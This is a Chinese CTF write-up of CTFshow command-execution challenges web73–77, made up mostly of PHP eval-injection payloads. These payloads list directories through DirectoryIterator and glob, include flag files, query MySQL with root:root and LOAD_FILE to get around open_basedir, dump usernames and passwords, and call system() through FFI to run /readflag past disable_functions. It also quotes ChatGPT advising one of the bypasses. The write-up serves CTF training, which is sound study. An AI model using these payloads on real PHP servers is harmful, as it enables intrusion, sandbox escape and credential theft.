CTFshow系列——命令执行web73-77(完结篇)

老样子,今天给大家带来命令执行的文章讲解以及解析

文章目录


Web73

老样子,没有什么新意:

所以直接查看目录:

bash 复制代码
# payload
c=var_export(scandir('/'));exit();
c=var_export(scandir('glob:///*'));exit();

c=echo implode('|', scandir('/'));exit();
c=echo implode('|', scandir('glob:///*'));exit();

另一种方法:PHP原生类可遍历目录

php 复制代码
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

这种办法查看目录之前已经遇到过很多次了,这里就不再解释;


后续payload还是一样的道理:

注意:这里是flagc.txt

bash 复制代码
# payload
c=include('/flagc.txt');exit();
c=include_once('/flagc.txt');exit();
c=require('/flagc.txt'); exit();
c=require_once('/flagc.txt');exit();

# 新函数
c=readgzfile("/flagc.txt");exit();

Web74

千篇一律的开头,没有什么好说的;

这里我们尝试查看目录,发现了点问题:

  • 使用c=var_export(scandir('glob:///*'));exit();结果显示NULL
  • scandir()函数被禁用了

遍历目录新payload

所以后面我稍微修改了下,得到新的payload:

bash 复制代码
# 遍历目录
c=echo implode('|', glob('/*'));exit();
c=var_export(glob('/*'));exit();

# PHP遍历目录方法也可行
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

查看flagx文件:

bash 复制代码
# payload
c=include('/flagx.txt');exit();
c=include_once('/flagx.txt');exit();
c=require('/flagx.txt'); exit();
c=require_once('/flagx.txt');exit();

# 新函数
c=readgzfile("/flagx.txt");exit();

Web75(新方法,很重要!!!)

这里尝试了一下,发现:

  • c=var_export(glob('/*'));exit();显示false
  • c=echo implode('|', glob('/*'));exit();显示参数错误

查看目录

可恶,两个payload没有了,只剩下PHP原生类可遍历目录这一种方法;

bash 复制代码
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

得到flag36.txt


正当我们兴致勃勃想要像以前直接文件包含 的时候,意外出现了:

还是open_basedir,说明文件夹被限制访问了:

所以,之前文件包含的所有payload,全部失效!

查看WP

那我们知道了目录,如何查看flag36文件的内容呢?

答:换成mysqli代码

但是既然php受限制,那么mysql的load_file函数呢

bash 复制代码
# payload
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

即可得到flag的内容;


答疑解惑部分(焚决):

这里我有个疑问:

  • 怎么知道数据库的名字为:ctftraining
  • 数据库账号一般默认就是root:root

所以我问了下ChatGPT,用来一步步构建上述的payload:

  1. 在 payload 的场景下,我先跑一条,看看库名:
bash 复制代码
c=try {
  $dbh = new PDO('mysql:host=localhost', 'root', 'root');
  foreach($dbh->query('SHOW DATABASES') as $row) {
    echo($row[0])."|";
  }
  $dbh = null;
} catch (PDOException $e) {
  echo $e->getMessage();exit(0);
}
exit(0);

得到结果:

  1. 查看查看某个数据库的所有表
bash 复制代码
c=try {
  $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
  foreach($dbh->query('SHOW TABLES') as $row) {
    echo($row[0])."|";
  }
  $dbh = null;
} catch (PDOException $e) {
  echo $e->getMessage();exit(0);
}
exit(0);

显示结果如图:

得到FLAG_TABLE表;

  1. 列出某个表的字段
bash 复制代码
c=try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
    foreach ($dbh->query('SHOW COLUMNS FROM users') as $row) {
        echo $row['Field'] . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage(); exit(0);
}
exit(0);

得到结果:

  1. 最后一步,查看usernamepassword
bash 复制代码
c=try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
    foreach ($dbh->query('SELECT username, password FROM users') as $row) {
        echo $row['username'] . " | " . $row['password'] . "\n";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage(); exit(0);
}
exit(0);

得到结果:

总结

好了,这就是完整的SQL语句查询过程。既然如此,我们下一个专题就写SQL语句吧(原本是想写文件上传的)。

--

Web76

老样子,没什么好看的:

这有什么,老样子,直接上payload:

bash 复制代码
# 查看目录
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

得到flag36d.txt 文件:

bash 复制代码
# payload
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

之前我的那些数据库查询语句一样能用。

Web77(重要)

  • 命令执行最后一题,php7.4,基本上命令执行就告一段落了

payload同理,不作解释:

bash 复制代码
# 查看目录
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

# 查看文件
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36x.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

但是意外还是出现了:

访问了flag36x.txt文件,居然没找到flag?


但是我们注意到左边有一个readflag目录,那还说啥呢,直接看呗:

bash 复制代码
c=?><?php $a=new DirectoryIterator("glob:///readflag"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>
  • 返回的错误
    • Fatal error: Uncaught UnexpectedValueException: DirectoryIterator::__construct(): open_basedir restriction in effect. File(/readflag) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code:1 Stack trace: #0 /var/www/html/index.php(19) : eval()'d code(1): DirectoryIterator->__construct('glob:///readfla...') #1 /var/www/html/index.php(19): eval() #2 {main} thrown in /var/www/html/index.php(19) : eval()'d code on line 1
  • 解释错误:
    • open_basedir 限制:

      PHP 配置中开启了 open_basedir,限制了 PHP 只能访问 /var/www/html/ 下的文件和目录。/readflag 不在允许路径内,所以 DirectoryIterator 无法访问。

    • DirectoryIterator 不是用来访问超出 open_basedir 的文件的

也就是说,PHP 在当前环境下不能直接列出 /readflag 目录。

明白了,你遇到的错误是:

复制代码
Fatal error: Uncaught UnexpectedValueException: DirectoryIterator::__construct(): open_basedir restriction in effect. File(/readflag) is not within the allowed path(s): (/var/www/html/)

🔍 错误原因

  1. open_basedir 限制

    • PHP 配置中开启了 open_basedir,限制了 PHP 只能访问 /var/www/html/ 下的文件和目录。
    • /readflag 不在允许路径内,所以 DirectoryIterator 无法访问。
  2. DirectoryIterator 不是用来访问超出 open_basedir 的文件的

    • 也就是说,PHP 在当前环境下 不能直接列出 /readflag 目录
  3. 另外,你写了 glob:///readflag

    • 多了一个 /glob("///readflag")/readflag 是等价的,但这里不是主要问题,主要是 open_basedir 限制

✅ 解决方案

因为 /readflagopen_basedir 外,不能用 DirectoryIterator 或 scandir

可以使用 MySQL 的 LOAD_FILE() 函数 来读取文件内容(前提是 MySQL 用户有 FILE 权限)。

你的 payload 可以改成这样:

php 复制代码
c=try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');

    foreach ($dbh->query('SELECT LOAD_FILE("/readflag")') as $row) {
        echo $row[0] . "|";
    }

    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage(); exit(0);
}
exit(0);
  • 这样可以绕过 PHP 的 open_basedir 限制,通过 MySQL 读取 /readflag 文件内容。

💡 总结

方法 是否可行
DirectoryIterator("/readflag") ❌ 因为 open_basedir 限制
scandir("/readflag") ❌ 同上
glob("/readflag") ❌ 同上
file_get_contents("/readflag") ❌ 同上
LOAD_FILE("/readflag") ✅ 可行(MySQL 用户权限允许)

还是没找到flag,我真没招了

解题思路

发现 flag36x.txt 文件。同时根目录下还有 readflag,估计需要调用 readflag 获取 flag。

c=ffi = FFI::cdef("int system(const char \*command);"); 通过FFI,可以实现调用system函数,从而执行命令,总而言之,就是调用system函数 a='/readflag > 1.txt'; //调用/readflag 把flag写入1.txt中 f f i − > s y s t e m ( ffi->system( ffi−>system(a); //执行命令

然后访问1.txt

理论结束,开始操作:

  1. 刚开始用代码:
bash 复制代码
c=$ffi=FFI::cdef("int system(const char *command);");$cmd='/readflag > /var/www/html/1.txt';$ffi->system($cmd);if(file_exists('/var/www/html/1.txt')){echo file_get_contents('/var/www/html/1.txt');}exit();
  • 这条 payload 做了三件事:

    • 初始化 FFI,调用 C 的 system 函数
    • 执行 /readflag > /var/www/html/1.txt,把 flag 输出到 web 可访问文件
    • 读取并打印 1.txt 的内容

但是很快就报错了:
Warning: file_exists() has been disabled for security reasons

  • 原因:
    • 你的 PHP 环境为了安全,禁用了 file_exists()(在 disable_functions 配置里)。
    • 也就是说 不能用 file_exists() 或 is_file() 来判断文件是否存在。

真正的payload

修改后代码:

bash 复制代码
## payload
c=$ffi=FFI::cdef("int system(const char *command);");$cmd='/readflag > /var/www/html/1.txt';$ffi->system($cmd);echo @file_get_contents('/var/www/html/1.txt');exit();
  • 使用 @ 屏蔽 file_get_contents() 的错误
  • 如果文件写入失败,会输出空字符串
  • 不再调用 file_exists(),绕过安全限制

    随后访问1.txt即可:


全体起立!!

总结

关于命令执行的部分也是结束了,后面就开始SQL部分内容(重要程度不亚于命令执行)。

相关推荐
弥生赞歌2 分钟前
Web漏洞扫描修复项目
安全·web安全
上海云盾第一敬业销售3 分钟前
选择适合企业的高防CDN服务:架构解析与实践分享
安全·web安全·架构
WMYeah5 分钟前
【无标题】
前端·rust·抽奖程序·跨平台抽奖程序
Unbelievabletobe6 分钟前
免费外汇api的响应时间在不同时段下的波动分析
大数据·开发语言·前端·python
跨境卫士—小依6 分钟前
美国邮政渠道开始计税后跨境卖家如何重写小包报价逻辑
大数据·人工智能·安全·跨境电商·营销策略
大哥,带带弟弟15 分钟前
Grafana 前端嵌入与 JWT 鉴权实战
前端·grafana
小小小小宇16 分钟前
前端 V8 引擎垃圾回收机制与内存问题排查
前端
是喵斯特ya18 分钟前
红日内网靶场1渗透笔记
笔记·安全
前端老石人27 分钟前
CSS 值定义语法
前端·css
程序员JerrySUN37 分钟前
Jetson边缘嵌入式实战课程第三讲:L4T 与 Jetson 系统架构
linux·服务器·人工智能·安全·unity·系统架构·游戏引擎